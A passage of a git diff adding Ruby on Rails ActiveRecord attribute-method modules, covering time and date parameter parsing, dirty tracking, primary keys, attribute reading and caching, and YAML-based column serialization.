+ Time.zone.local(*set_values)
+ else
+ Time.send(object.class.default_timezone, *set_values)
+ end
+ end
+
+ def read_time
+ # If column is a :time (and not :date or :timestamp) there is no need to validate if
+ # there are year/month/day fields
+ if column.type == :time
+ # if the column is a time set the values to their defaults as January 1, 1970, but only if they're nil
+ { 1 => 1970, 2 => 1, 3 => 1 }.each do |key,value|
+ values[key] ||= value
+ end
+ else
+ # else column is a timestamp, so if Date bits were not provided, error
+ validate_required_parameters!([1,2,3])
+
+ # If Date bits were provided but blank, then return nil
+ return if blank_date_parameter?
+ end
+
+ max_position = extract_max_param(6)
+ set_values = values.values_at(*(1..max_position))
+ # If Time bits are not there, then default to 0
+ (3..5).each { |i| set_values[i] = set_values[i].presence || 0 }
+ instantiate_time_object(set_values)
+ end
+
+ def read_date
+ return if blank_date_parameter?
+ set_values = values.values_at(1,2,3)
+ begin
+ Date.new(*set_values)
+ rescue ArgumentError # if Date.new raises an exception on an invalid date
+ instantiate_time_object(set_values).to_date # we instantiate Time object and convert it back to a date thus using Time's logic in handling invalid dates
+ end
+ end
+
+ def read_other(klass)
+ max_position = extract_max_param
+ positions = (1..max_position)
+ validate_required_parameters!(positions)
+
+ set_values = values.values_at(*positions)
+ klass.new(*set_values)
+ end
+
+ # Checks whether some blank date parameter exists. Note that this is different
+ # than the validate_required_parameters! method, since it just checks for blank
+ # positions instead of missing ones, and does not raise in case one blank position
+ # exists. The caller is responsible to handle the case of this returning true.
+ def blank_date_parameter?
+ (1..3).any? { |position| values[position].blank? }
+ end
+
+ # If some position is not provided, it errors out a missing parameter exception.
+ def validate_required_parameters!(positions)
+ if missing_parameter = positions.detect { |position| !values.key?(position) }
+ raise ArgumentError.new("Missing Parameter - #{name}(#{missing_parameter})")
+ end
+ end
+
+ def extract_max_param(upper_cap = 100)
+ [values.keys.max, upper_cap].min
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/attribute_methods.rb b/activerecord/lib/active_record/attribute_methods.rb
new file mode 100644
index 0000000..609c6e8
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_methods.rb
@@ -0,0 +1,393 @@
+require 'active_support/core_ext/enumerable'
+
+module ActiveRecord
+ # = Active Record Attribute Methods
+ module AttributeMethods
+ extend ActiveSupport::Concern
+ include ActiveModel::AttributeMethods
+
+ included do
+ include Read
+ include Write
+ include BeforeTypeCast
+ include Query
+ include PrimaryKey
+ include TimeZoneConversion
+ include Dirty
+ include Serialization
+ end
+
+ module ClassMethods
+ # Generates all the attribute related methods for columns in the database
+ # accessors, mutators and query methods.
+ def define_attribute_methods # :nodoc:
+ # Use a mutex; we don't want two thread simultaneously trying to define
+ # attribute methods.
+ @attribute_methods_mutex.synchronize do
+ return if attribute_methods_generated?
+ superclass.define_attribute_methods unless self == base_class
+ super(column_names)
+ @attribute_methods_generated = true
+ end
+ end
+
+ def attribute_methods_generated? # :nodoc:
+ @attribute_methods_generated ||= false
+ end
+
+ def undefine_attribute_methods # :nodoc:
+ super if attribute_methods_generated?
+ @attribute_methods_generated = false
+ end
+
+ # Raises a <tt>ActiveRecord::DangerousAttributeError</tt> exception when an
+ # \Active \Record method is defined in the model, otherwise +false+.
+ #
+ # class Person < ActiveRecord::Base
+ # def save
+ # 'already defined by Active Record'
+ # end
+ # end
+ #
+ # Person.instance_method_already_implemented?(:save)
+ # # => ActiveRecord::DangerousAttributeError: save is defined by ActiveRecord
+ #
+ # Person.instance_method_already_implemented?(:name)
+ # # => false
+ def instance_method_already_implemented?(method_name)
+ if dangerous_attribute_method?(method_name)
+ raise DangerousAttributeError, "#{method_name} is defined by Active Record"
+ end
+
+ if superclass == Base
+ super
+ else
+ # If B < A and A defines its own attribute method, then we don't want to overwrite that.
+ defined = method_defined_within?(method_name, superclass, superclass.generated_attribute_methods)
+ defined && !ActiveRecord::Base.method_defined?(method_name) || super
+ end
+ end
+
+ # A method name is 'dangerous' if it is already defined by Active Record, but
+ # not by any ancestors. (So 'puts' is not dangerous but 'save' is.)
+ def dangerous_attribute_method?(name) # :nodoc:
+ method_defined_within?(name, Base)
+ end
+
+ def method_defined_within?(name, klass, sup = klass.superclass) # :nodoc:
+ if klass.method_defined?(name) || klass.private_method_defined?(name)
+ if sup.method_defined?(name) || sup.private_method_defined?(name)
+ klass.instance_method(name).owner != sup.instance_method(name).owner
+ else
+ true
+ end
+ else
+ false
+ end
+ end
+
+ # Returns +true+ if +attribute+ is an attribute method and table exists,
+ # +false+ otherwise.
+ #
+ # class Person < ActiveRecord::Base
+ # end
+ #
+ # Person.attribute_method?('name') # => true
+ # Person.attribute_method?(:age=) # => true
+ # Person.attribute_method?(:nothing) # => false
+ def attribute_method?(attribute)
+ super || (table_exists? && column_names.include?(attribute.to_s.sub(/=$/, '')))
+ end
+
+ # Returns an array of column names as strings if it's not an abstract class and
+ # table exists. Otherwise it returns an empty array.
+ #
+ # class Person < ActiveRecord::Base
+ # end
+ #
+ # Person.attribute_names
+ # # => ["id", "created_at", "updated_at", "name", "age"]
+ def attribute_names
+ @attribute_names ||= if !abstract_class? && table_exists?
+ column_names
+ else
+ []
+ end
+ end
+ end
+
+ # If we haven't generated any methods yet, generate them, then
+ # see if we've created the method we're looking for.
+ def method_missing(method, *args, &block) # :nodoc:
+ unless self.class.attribute_methods_generated?
+ self.class.define_attribute_methods
+
+ if respond_to_without_attributes?(method)
+ send(method, *args, &block)
+ else
+ super
+ end
+ else
+ super
+ end
+ end
+
+ def attribute_missing(match, *args, &block) # :nodoc:
+ if self.class.columns_hash[match.attr_name]
+ ActiveSupport::Deprecation.warn(
+ "The method `#{match.method_name}', matching the attribute `#{match.attr_name}' has " \
+ "dispatched through method_missing. This shouldn't happen, because `#{match.attr_name}' " \
+ "is a column of the table. If this error has happened through normal usage of Active " \
+ "Record (rather than through your own code or external libraries), please report it as " \
+ "a bug."
+ )
+ end
+
+ super
+ end
+
+ # A Person object with a name attribute can ask <tt>person.respond_to?(:name)</tt>,
+ # <tt>person.respond_to?(:name=)</tt>, and <tt>person.respond_to?(:name?)</tt>
+ # which will all return +true+. It also define the attribute methods if they have
+ # not been generated.
+ #
+ # class Person < ActiveRecord::Base
+ # end
+ #
+ # person = Person.new
+ # person.respond_to(:name) # => true
+ # person.respond_to(:name=) # => true
+ # person.respond_to(:name?) # => true
+ # person.respond_to('age') # => true
+ # person.respond_to('age=') # => true
+ # person.respond_to('age?') # => true
+ # person.respond_to(:nothing) # => false
+ def respond_to?(name, include_private = false)
+ name = name.to_s
+ self.class.define_attribute_methods unless self.class.attribute_methods_generated?
+ result = super
+
+ # If the result is false the answer is false.
+ return false unless result
+
+ # If the result is true then check for the select case.
+ # For queries selecting a subset of columns, return false for unselected columns.
+ # We check defined?(@attributes) not to issue warnings if called on objects that
+ # have been allocated but not yet initialized.
+ if defined?(@attributes) && @attributes.present? && self.class.column_names.include?(name)
+ return has_attribute?(name)
+ end
+
+ return true
+ end
+
+ # Returns +true+ if the given attribute is in the attributes hash, otherwise +false+.
+ #
+ # class Person < ActiveRecord::Base
+ # end
+ #
+ # person = Person.new
+ # person.has_attribute?(:name) # => true
+ # person.has_attribute?('age') # => true
+ # person.has_attribute?(:nothing) # => false
+ def has_attribute?(attr_name)
+ @attributes.has_key?(attr_name.to_s)
+ end
+
+ # Returns an array of names for the attributes available on this object.
+ #
+ # class Person < ActiveRecord::Base
+ # end
+ #
+ # person = Person.new
+ # person.attribute_names
+ # # => ["id", "created_at", "updated_at", "name", "age"]
+ def attribute_names
+ @attributes.keys
+ end
+
+ # Returns a hash of all the attributes with their names as keys and the values of the attributes as values.
+ #
+ # class Person < ActiveRecord::Base
+ # end
+ #
+ # person = Person.create(name: 'Francesco', age: 22)
+ # person.attributes
+ # # => {"id"=>3, "created_at"=>Sun, 21 Oct 2012 04:53:04, "updated_at"=>Sun, 21 Oct 2012 04:53:04, "name"=>"Francesco", "age"=>22}
+ def attributes
+ attribute_names.each_with_object({}) { |name, attrs|
+ attrs[name] = read_attribute(name)
+ }
+ end
+
+ # Returns an <tt>#inspect</tt>-like string for the value of the
+ # attribute +attr_name+. String attributes are truncated upto 50
+ # characters, and Date and Time attributes are returned in the
+ # <tt>:db</tt> format. Other attributes return the value of
+ # <tt>#inspect</tt> without modification.
+ #
+ # person = Person.create!(name: 'David Heinemeier Hansson ' * 3)
+ #
+ # person.attribute_for_inspect(:name)
+ # # => "\"David Heinemeier Hansson David Heinemeier Hansson D...\""
+ #
+ # person.attribute_for_inspect(:created_at)
+ # # => "\"2012-10-22 00:15:07\""
+ def attribute_for_inspect(attr_name)
+ value = read_attribute(attr_name)
+
+ if value.is_a?(String) && value.length > 50
+ "#{value[0..50]}...".inspect
+ elsif value.is_a?(Date) || value.is_a?(Time)
+ %("#{value.to_s(:db)}")
+ else
+ value.inspect
+ end
+ end
+
+ # Returns +true+ if the specified +attribute+ has been set by the user or by a
+ # database load and is neither +nil+ nor <tt>empty?</tt> (the latter only applies
+ # to objects that respond to <tt>empty?</tt>, most notably Strings). Otherwise, +false+.
+ # Note that it always returns +true+ with boolean attributes.
+ #
+ # class Task < ActiveRecord::Base
+ # end
+ #
+ # person = Task.new(title: '', is_done: false)
+ # person.attribute_present?(:title) # => false
+ # person.attribute_present?(:is_done) # => true
+ # person.name = 'Francesco'
+ # person.is_done = true
+ # person.attribute_present?(:title) # => true
+ # person.attribute_present?(:is_done) # => true
+ def attribute_present?(attribute)
+ value = read_attribute(attribute)
+ !value.nil? && !(value.respond_to?(:empty?) && value.empty?)
+ end
+
+ # Returns the column object for the named attribute. Returns +nil+ if the
+ # named attribute not exists.
+ #
+ # class Person < ActiveRecord::Base
+ # end
+ #
+ # person = Person.new
+ # person.column_for_attribute(:name) # the result depends on the ConnectionAdapter
+ # # => #<ActiveRecord::ConnectionAdapters::SQLite3Column:0x007ff4ab083980 @name="name", @sql_type="varchar(255)", @null=true, ...>
+ #
+ # person.column_for_attribute(:nothing)
+ # # => nil
+ def column_for_attribute(name)
+ # FIXME: should this return a null object for columns that don't exist?
+ self.class.columns_hash[name.to_s]
+ end
+
+ # Returns the value of the attribute identified by <tt>attr_name</tt> after it has been typecast (for example,
+ # "2004-12-12" in a data column is cast to a date object, like Date.new(2004, 12, 12)). It raises
+ # <tt>ActiveModel::MissingAttributeError</tt> if the identified attribute is missing.
+ #
+ # Alias for the <tt>read_attribute</tt> method.
+ #
+ # class Person < ActiveRecord::Base
+ # belongs_to :organization
+ # end
+ #
+ # person = Person.new(name: 'Francesco', age: '22')
+ # person[:name] # => "Francesco"
+ # person[:age] # => 22
+ #
+ # person = Person.select('id').first
+ # person[:name] # => ActiveModel::MissingAttributeError: missing attribute: name
+ # person[:organization_id] # => ActiveModel::MissingAttributeError: missing attribute: organization_id
+ def [](attr_name)
+ read_attribute(attr_name) { |n| missing_attribute(n, caller) }
+ end
+
+ # Updates the attribute identified by <tt>attr_name</tt> with the specified +value+.
+ # (Alias for the protected <tt>write_attribute</tt> method).
+ #
+ # class Person < ActiveRecord::Base
+ # end
+ #
+ # person = Person.new
+ # person[:age] = '22'
+ # person[:age] # => 22
+ # person[:age] # => Fixnum
+ def []=(attr_name, value)
+ write_attribute(attr_name, value)
+ end
+
+ protected
+
+ def clone_attributes(reader_method = :read_attribute, attributes = {}) # :nodoc:
+ attribute_names.each do |name|
+ attributes[name] = clone_attribute_value(reader_method, name)
+ end
+ attributes
+ end
+
+ def clone_attribute_value(reader_method, attribute_name) # :nodoc:
+ value = send(reader_method, attribute_name)
+ value.duplicable? ? value.clone : value
+ rescue TypeError, NoMethodError
+ value
+ end
+
+ def arel_attributes_with_values_for_create(attribute_names) # :nodoc:
+ arel_attributes_with_values(attributes_for_create(attribute_names))
+ end
+
+ def arel_attributes_with_values_for_update(attribute_names) # :nodoc:
+ arel_attributes_with_values(attributes_for_update(attribute_names))
+ end
+
+ def attribute_method?(attr_name) # :nodoc:
+ # We check defined? because Syck calls respond_to? before actually calling initialize.
+ defined?(@attributes) && @attributes.include?(attr_name)
+ end
+
+ private
+
+ # Returns a Hash of the Arel::Attributes and attribute values that have been
+ # typecasted for use in an Arel insert/update method.
+ def arel_attributes_with_values(attribute_names)
+ attrs = {}
+ arel_table = self.class.arel_table
+
+ attribute_names.each do |name|
+ attrs[arel_table[name]] = typecasted_attribute_value(name)
+ end
+ attrs
+ end
+
+ # Filters the primary keys and readonly attributes from the attribute names.
+ def attributes_for_update(attribute_names)
+ attribute_names.select do |name|
+ column_for_attribute(name) && !readonly_attribute?(name)
+ end
+ end
+
+ # Filters out the primary keys, from the attribute names, when the primary
+ # key is to be generated (e.g. the id attribute has no value).
+ def attributes_for_create(attribute_names)
+ attribute_names.select do |name|
+ column_for_attribute(name) && !(pk_attribute?(name) && id.nil?)
+ end
+ end
+
+ def readonly_attribute?(name)
+ self.class.readonly_attributes.include?(name)
+ end
+
+ def pk_attribute?(name)
+ column_for_attribute(name).primary
+ end
+
+ def typecasted_attribute_value(name)
+ # FIXME: we need @attributes to be used consistently.
+ # If the values stored in @attributes were already typecasted, this code
+ # could be simplified
+ read_attribute(name)
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/attribute_methods/before_type_cast.rb b/activerecord/lib/active_record/attribute_methods/before_type_cast.rb
new file mode 100644
index 0000000..a23baea
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_methods/before_type_cast.rb
@@ -0,0 +1,70 @@
+module ActiveRecord
+ module AttributeMethods
+ # = Active Record Attribute Methods Before Type Cast
+ #
+ # <tt>ActiveRecord::AttributeMethods::BeforeTypeCast</tt> provides a way to
+ # read the value of the attributes before typecasting and deserialization.
+ #
+ # class Task < ActiveRecord::Base
+ # end
+ #
+ # task = Task.new(id: '1', completed_on: '2012-10-21')
+ # task.id # => 1
+ # task.completed_on # => Sun, 21 Oct 2012
+ #
+ # task.attributes_before_type_cast
+ # # => {"id"=>"1", "completed_on"=>"2012-10-21", ... }
+ # task.read_attribute_before_type_cast('id') # => "1"
+ # task.read_attribute_before_type_cast('completed_on') # => "2012-10-21"
+ #
+ # In addition to #read_attribute_before_type_cast and #attributes_before_type_cast,
+ # it declares a method for all attributes with the <tt>*_before_type_cast</tt>
+ # suffix.
+ #
+ # task.id_before_type_cast # => "1"
+ # task.completed_on_before_type_cast # => "2012-10-21"
+ module BeforeTypeCast
+ extend ActiveSupport::Concern
+
+ included do
+ attribute_method_suffix "_before_type_cast"
+ end
+
+ # Returns the value of the attribute identified by +attr_name+ before
+ # typecasting and deserialization.
+ #
+ # class Task < ActiveRecord::Base
+ # end
+ #
+ # task = Task.new(id: '1', completed_on: '2012-10-21')
+ # task.read_attribute('id') # => 1
+ # task.read_attribute_before_type_cast('id') # => '1'
+ # task.read_attribute('completed_on') # => Sun, 21 Oct 2012
+ # task.read_attribute_before_type_cast('completed_on') # => "2012-10-21"
+ def read_attribute_before_type_cast(attr_name)
+ @attributes[attr_name]
+ end
+
+ # Returns a hash of attributes before typecasting and deserialization.
+ #
+ # class Task < ActiveRecord::Base
+ # end
+ #
+ # task = Task.new(title: nil, is_done: true, completed_on: '2012-10-21')
+ # task.attributes
+ # # => {"id"=>nil, "title"=>nil, "is_done"=>true, "completed_on"=>Sun, 21 Oct 2012, "created_at"=>nil, "updated_at"=>nil}
+ # task.attributes_before_type_cast
+ # # => {"id"=>nil, "title"=>nil, "is_done"=>true, "completed_on"=>"2012-10-21", "created_at"=>nil, "updated_at"=>nil}
+ def attributes_before_type_cast
+ @attributes
+ end
+
+ private
+
+ # Handle *_before_type_cast for method_missing.
+ def attribute_before_type_cast(attribute_name)
+ read_attribute_before_type_cast(attribute_name)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/attribute_methods/dirty.rb b/activerecord/lib/active_record/attribute_methods/dirty.rb
new file mode 100644
index 0000000..6315dd9
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_methods/dirty.rb
@@ -0,0 +1,118 @@
+require 'active_support/core_ext/module/attribute_accessors'
+
+module ActiveRecord
+ module AttributeMethods
+ module Dirty # :nodoc:
+ extend ActiveSupport::Concern
+
+ include ActiveModel::Dirty
+
+ included do
+ if self < ::ActiveRecord::Timestamp
+ raise "You cannot include Dirty after Timestamp"
+ end
+
+ class_attribute :partial_writes, instance_writer: false
+ self.partial_writes = true
+
+ def self.partial_updates=(v); self.partial_writes = v; end
+ def self.partial_updates?; partial_writes?; end
+ def self.partial_updates; partial_writes; end
+
+ ActiveSupport::Deprecation.deprecate_methods(
+ singleton_class,
+ :partial_updates= => :partial_writes=,
+ :partial_updates? => :partial_writes?,
+ :partial_updates => :partial_writes
+ )
+ end
+
+ # Attempts to +save+ the record and clears changed attributes if successful.
+ def save(*)
+ if status = super
+ @previously_changed = changes
+ @changed_attributes.clear
+ end
+ status
+ end
+
+ # Attempts to <tt>save!</tt> the record and clears changed attributes if successful.
+ def save!(*)
+ super.tap do
+ @previously_changed = changes
+ @changed_attributes.clear
+ end
+ end
+
+ # <tt>reload</tt> the record and clears changed attributes.
+ def reload(*)
+ super.tap do
+ @previously_changed.clear
+ @changed_attributes.clear
+ end
+ end
+
+ private
+ # Wrap write_attribute to remember original attribute value.
+ def write_attribute(attr, value)
+ attr = attr.to_s
+
+ # The attribute already has an unsaved change.
+ if attribute_changed?(attr)
+ old = @changed_attributes[attr]
+ @changed_attributes.delete(attr) unless _field_changed?(attr, old, value)
+ else
+ old = clone_attribute_value(:read_attribute, attr)
+ @changed_attributes[attr] = old if _field_changed?(attr, old, value)
+ end
+
+ # Carry on.
+ super(attr, value)
+ end
+
+ def update_record(*)
+ partial_writes? ? super(keys_for_partial_write) : super
+ end
+
+ def create_record(*)
+ partial_writes? ? super(keys_for_partial_write) : super
+ end
+
+ # Serialized attributes should always be written in case they've been
+ # changed in place.
+ def keys_for_partial_write
+ changed | (attributes.keys & self.class.serialized_attributes.keys)
+ end
+
+ def _field_changed?(attr, old, value)
+ if column = column_for_attribute(attr)
+ if column.number? && (changes_from_nil_to_empty_string?(column, old, value) ||
+ changes_from_zero_to_string?(old, value))
+ value = nil
+ else
+ value = column.type_cast(value)
+ end
+ end
+
+ old != value
+ end
+
+ def changes_from_nil_to_empty_string?(column, old, value)
+ # For nullable numeric columns, NULL gets stored in database for blank (i.e. '') values.
+ # Hence we don't record it as a change if the value changes from nil to ''.
+ # If an old value of 0 is set to '' we want this to get changed to nil as otherwise it'll
+ # be typecast back to 0 (''.to_i => 0)
+ column.null && (old.nil? || old == 0) && value.blank?
+ end
+
+ def changes_from_zero_to_string?(old, value)
+ # For columns with old 0 and value non-empty string
+ old == 0 && value.is_a?(String) && value.present? && non_zero?(value)
+ end
+
+ def non_zero?(value)
+ value !~ /\A0+(\.0+)?\z/
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/attribute_methods/primary_key.rb b/activerecord/lib/active_record/attribute_methods/primary_key.rb
new file mode 100644
index 0000000..931209b
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_methods/primary_key.rb
@@ -0,0 +1,122 @@
+require 'set'
+
+module ActiveRecord
+ module AttributeMethods
+ module PrimaryKey
+ extend ActiveSupport::Concern
+
+ # Returns this record's primary key value wrapped in an Array if one is
+ # available.
+ def to_key
+ sync_with_transaction_state
+ key = self.id
+ [key] if key
+ end
+
+ # Returns the primary key value.
+ def id
+ sync_with_transaction_state
+ read_attribute(self.class.primary_key)
+ end
+
+ # Sets the primary key value.
+ def id=(value)
+ sync_with_transaction_state
+ write_attribute(self.class.primary_key, value) if self.class.primary_key
+ end
+
+ # Queries the primary key value.
+ def id?
+ sync_with_transaction_state
+ query_attribute(self.class.primary_key)
+ end
+
+ # Returns the primary key value before type cast.
+ def id_before_type_cast
+ sync_with_transaction_state
+ read_attribute_before_type_cast(self.class.primary_key)
+ end
+
+ protected
+
+ def attribute_method?(attr_name)
+ attr_name == 'id' || super
+ end
+
+ module ClassMethods
+ def define_method_attribute(attr_name)
+ super
+
+ if attr_name == primary_key && attr_name != 'id'
+ generated_attribute_methods.send(:alias_method, :id, primary_key)
+ end
+ end
+
+ ID_ATTRIBUTE_METHODS = %w(id id= id? id_before_type_cast).to_set
+
+ def dangerous_attribute_method?(method_name)
+ super && !ID_ATTRIBUTE_METHODS.include?(method_name)
+ end
+
+ # Defines the primary key field -- can be overridden in subclasses.
+ # Overwriting will negate any effect of the +primary_key_prefix_type+
+ # setting, though.
+ def primary_key
+ @primary_key = reset_primary_key unless defined? @primary_key
+ @primary_key
+ end
+
+ # Returns a quoted version of the primary key name, used to construct
+ # SQL statements.
+ def quoted_primary_key
+ @quoted_primary_key ||= connection.quote_column_name(primary_key)
+ end
+
+ def reset_primary_key #:nodoc:
+ if self == base_class
+ self.primary_key = get_primary_key(base_class.name)
+ else
+ self.primary_key = base_class.primary_key
+ end
+ end
+
+ def get_primary_key(base_name) #:nodoc:
+ return 'id' if base_name.blank?
+
+ case primary_key_prefix_type
+ when :table_name
+ base_name.foreign_key(false)
+ when :table_name_with_underscore
+ base_name.foreign_key
+ else
+ if ActiveRecord::Base != self && table_exists?
+ connection.schema_cache.primary_keys(table_name)
+ else
+ 'id'
+ end
+ end
+ end
+
+ # Sets the name of the primary key column.
+ #
+ # class Project < ActiveRecord::Base
+ # self.primary_key = 'sysid'
+ # end
+ #
+ # You can also define the +primary_key+ method yourself:
+ #
+ # class Project < ActiveRecord::Base
+ # def self.primary_key
+ # 'foo_' + super
+ # end
+ # end
+ #
+ # Project.primary_key # => "foo_id"
+ def primary_key=(value)
+ @primary_key = value && value.to_s
+ @quoted_primary_key = nil
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/attribute_methods/query.rb b/activerecord/lib/active_record/attribute_methods/query.rb
new file mode 100644
index 0000000..0f9723f
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_methods/query.rb
@@ -0,0 +1,40 @@
+module ActiveRecord
+ module AttributeMethods
+ module Query
+ extend ActiveSupport::Concern
+
+ included do
+ attribute_method_suffix "?"
+ end
+
+ def query_attribute(attr_name)
+ value = read_attribute(attr_name) { |n| missing_attribute(n, caller) }
+
+ case value
+ when true then true
+ when false, nil then false
+ else
+ column = self.class.columns_hash[attr_name]
+ if column.nil?
+ if Numeric === value || value !~ /[^0-9]/
+ !value.to_i.zero?
+ else
+ return false if ActiveRecord::ConnectionAdapters::Column::FALSE_VALUES.include?(value)
+ !value.blank?
+ end
+ elsif column.number?
+ !value.zero?
+ else
+ !value.blank?
+ end
+ end
+ end
+
+ private
+ # Handle *? for method_missing.
+ def attribute?(attribute_name)
+ query_attribute(attribute_name)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/attribute_methods/read.rb b/activerecord/lib/active_record/attribute_methods/read.rb
new file mode 100644
index 0000000..506f5d7
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_methods/read.rb
@@ -0,0 +1,107 @@
+module ActiveRecord
+ module AttributeMethods
+ module Read
+ extend ActiveSupport::Concern
+
+ ATTRIBUTE_TYPES_CACHED_BY_DEFAULT = [:datetime, :timestamp, :time, :date]
+
+ included do
+ class_attribute :attribute_types_cached_by_default, instance_writer: false
+ self.attribute_types_cached_by_default = ATTRIBUTE_TYPES_CACHED_BY_DEFAULT
+ end
+
+ module ClassMethods
+ # +cache_attributes+ allows you to declare which converted attribute
+ # values should be cached. Usually caching only pays off for attributes
+ # with expensive conversion methods, like time related columns (e.g.
+ # +created_at+, +updated_at+).
+ def cache_attributes(*attribute_names)
+ cached_attributes.merge attribute_names.map { |attr| attr.to_s }
+ end
+
+ # Returns the attributes which are cached. By default time related columns
+ # with datatype <tt>:datetime, :timestamp, :time, :date</tt> are cached.
+ def cached_attributes
+ @cached_attributes ||= columns.select { |c| cacheable_column?(c) }.map { |col| col.name }.to_set
+ end
+
+ # Returns +true+ if the provided attribute is being cached.
+ def cache_attribute?(attr_name)
+ cached_attributes.include?(attr_name)
+ end
+
+ protected
+
+ # We want to generate the methods via module_eval rather than
+ # define_method, because define_method is slower on dispatch and
+ # uses more memory (because it creates a closure).
+ #
+ # But sometimes the database might return columns with
+ # characters that are not allowed in normal method names (like
+ # 'my_column(omg)'. So to work around this we first define with
+ # the __temp__ identifier, and then use alias method to rename
+ # it to what we want.
+ #
+ # We are also defining a constant to hold the frozen string of
+ # the attribute name. Using a constant means that we do not have
+ # to allocate an object on each call to the attribute method.
+ # Making it frozen means that it doesn't get duped when used to
+ # key the @attributes_cache in read_attribute.
+ def define_method_attribute(name)
+ safe_name = name.unpack('h*').first
+ generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
+ def __temp__#{safe_name}
+ read_attribute(AttrNames::ATTR_#{safe_name}) { |n| missing_attribute(n, caller) }
+ end
+ alias_method #{name.inspect}, :__temp__#{safe_name}
+ undef_method :__temp__#{safe_name}
+ STR
+ end
+
+ private
+
+ def cacheable_column?(column)
+ if attribute_types_cached_by_default == ATTRIBUTE_TYPES_CACHED_BY_DEFAULT
+ ! serialized_attributes.include? column.name
+ else
+ attribute_types_cached_by_default.include?(column.type)
+ end
+ end
+ end
+
+ # Returns the value of the attribute identified by <tt>attr_name</tt> after
+ # it has been typecast (for example, "2004-12-12" in a data column is cast
+ # to a date object, like Date.new(2004, 12, 12)).
+ def read_attribute(attr_name)
+ # If it's cached, just return it
+ # We use #[] first as a perf optimization for non-nil values. See https://gist.github.com/jonleighton/3552829.
+ name = attr_name.to_s
+ @attributes_cache[name] || @attributes_cache.fetch(name) {
+ column = @columns_hash.fetch(name) {
+ return @attributes.fetch(name) {
+ if name == 'id' && self.class.primary_key != name
+ read_attribute(self.class.primary_key)
+ end
+ }
+ }
+
+ value = @attributes.fetch(name) {
+ return block_given? ? yield(name) : nil
+ }
+
+ if self.class.cache_attribute?(name)
+ @attributes_cache[name] = column.type_cast(value)
+ else
+ column.type_cast value
+ end
+ }
+ end
+
+ private
+
+ def attribute(attribute_name)
+ read_attribute(attribute_name)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/attribute_methods/serialization.rb b/activerecord/lib/active_record/attribute_methods/serialization.rb
new file mode 100644
index 0000000..7f1ebab
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_methods/serialization.rb
@@ -0,0 +1,158 @@
+module ActiveRecord
+ module AttributeMethods
+ module Serialization
+ extend ActiveSupport::Concern
+
+ included do
+ # Returns a hash of all the attributes that have been specified for
+ # serialization as keys and their class restriction as values.
+ class_attribute :serialized_attributes, instance_accessor: false
+ self.serialized_attributes = {}
+ end
+
+ module ClassMethods
+ ##
+ # :method: serialized_attributes
+ #
+ # Returns a hash of all the attributes that have been specified for
+ # serialization as keys and their class restriction as values.
+
+ # If you have an attribute that needs to be saved to the database as an
+ # object, and retrieved as the same object, then specify the name of that
+ # attribute using this method and it will be handled automatically. The
+ # serialization is done through YAML. If +class_name+ is specified, the
+ # serialized object must be of that class on retrieval or
+ # <tt>SerializationTypeMismatch</tt> will be raised.
+ #
+ # ==== Parameters
+ #
+ # * +attr_name+ - The field name that should be serialized.
+ # * +class_name+ - Optional, class name that the object type should be equal to.
+ #
+ # ==== Example
+ #
+ # # Serialize a preferences attribute.
+ # class User < ActiveRecord::Base
+ # serialize :preferences
+ # end
+ def serialize(attr_name, class_name = Object)
+ include Behavior
+
+ coder = if [:load, :dump].all? { |x| class_name.respond_to?(x) }
+ class_name
+ else
+ Coders::YAMLColumn.new(class_name)
+ end
+
+ # merge new serialized attribute and create new hash to ensure that each class in inheritance hierarchy
+ # has its own hash of own serialized attributes
+ self.serialized_attributes = serialized_attributes.merge(attr_name.to_s => coder)
+ end
+ end
+
+ # *DEPRECATED*: Use ActiveRecord::AttributeMethods::Serialization::ClassMethods#serialized_attributes class level method instead.
+ def serialized_attributes
+ message = "Instance level serialized_attributes method is deprecated, please use class level method."
+ ActiveSupport::Deprecation.warn message
+ defined?(@serialized_attributes) ? @serialized_attributes : self.class.serialized_attributes
+ end
+
+ class Type # :nodoc:
+ def initialize(column)
+ @column = column
+ end
+
+ def type_cast(value)
+ value.unserialized_value
+ end
+
+ def type
+ @column.type
+ end
+ end
+
+ class Attribute < Struct.new(:coder, :value, :state) # :nodoc:
+ def unserialized_value
+ state == :serialized ? unserialize : value
+ end
+
+ def serialized_value
+ state == :unserialized ? serialize : value
+ end
+
+ def unserialize
+ self.state = :unserialized
+ self.value = coder.load(value)
+ end
+
+ def serialize
+ self.state = :serialized
+ self.value = coder.dump(value)
+ end
+ end
+
+ # This is only added to the model when serialize is called, which
+ # ensures we do not make things slower when serialization is not used.
+ module Behavior # :nodoc:
+ extend ActiveSupport::Concern
+
+ module ClassMethods # :nodoc:
+ def initialize_attributes(attributes, options = {})
+ serialized = (options.delete(:serialized) { true }) ? :serialized : :unserialized
+ super(attributes, options)
+
+ serialized_attributes.each do |key, coder|
+ if attributes.key?(key)
+ attributes[key] = Attribute.new(coder, attributes[key], serialized)
+ end
+ end
+
+ attributes
+ end
+ end
+
+ def type_cast_attribute_for_write(column, value)
+ if column && coder = self.class.serialized_attributes[column.name]
+ Attribute.new(coder, value, :unserialized)
+ else
+ super
+ end
+ end
+
+ def _field_changed?(attr, old, value)
+ if self.class.serialized_attributes.include?(attr)
+ old != value
+ else
+ super
+ end
+ end
+
+ def read_attribute_before_type_cast(attr_name)
+ if self.class.serialized_attributes.include?(attr_name)
+ super.unserialized_value
+ else
+ super
+ end
+ end
+
+ def attributes_before_type_cast
+ super.dup.tap do |attributes|
+ self.class.serialized_attributes.each_key do |key|
+ if attributes.key?(key)
+ attributes[key] = attributes[key].unserialized_value
+ end
+ end
+ end
+ end
+
+ def typecasted_attribute_value(name)
+ if self.class.serialized_attributes.include?(name)
+ @attributes[name].serialized_value
+ else
+ super
+ end
+ end
+ end
+ end
+ end
+end
